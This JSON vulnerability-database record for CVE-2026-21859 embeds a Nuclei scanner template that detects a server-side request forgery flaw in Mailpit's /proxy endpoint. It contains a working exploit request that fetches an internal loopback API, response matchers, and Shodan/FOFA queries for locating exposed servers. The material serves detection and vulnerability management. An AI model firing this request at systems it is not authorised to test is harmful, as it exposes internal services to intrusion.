{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-21859/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-21859/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-21859/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-21859/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-21859/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-21859"},"sightings":{"href":"/api/v1/sightings/cve-2026-21859"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-21859.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-21859\n\ninfo:\n  name: Mailpit < 1.28.3 - Server-Side Request Forgery\n  author: omarkurt\n  severity: high\n  description: |\n    Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.\n  impact: |\n    Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.\n  remediation: |\n    Update to version 1.28.1 or later.\n  reference:\n    - https://rosecurify.com/advisories/RO-26-001-mailpit-server-side-request-forgery-ssrf/\n    - https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-21859\n    epss-score: 0.00813\n    epss-percentile: 0.5713\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: axllent\n    product: mailpit\n    shodan-query: title:\"Mailpit\"\n    fofa-query: title=\"Mailpit\"\n  tags: cve,cve2026,mailpit,axllent,oast,oob,ssrf,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"Version\"'\n          - '\"Database\"'\n          - '\"RuntimeStats\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100f968bafc06fdb33b877120d96fa88de1dbba8369023666b17fc060ecd2cf11ca022044ca22e2653fcd95767337f60221de6a81200af12252ddb118e1610ad881cd07:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-21859"}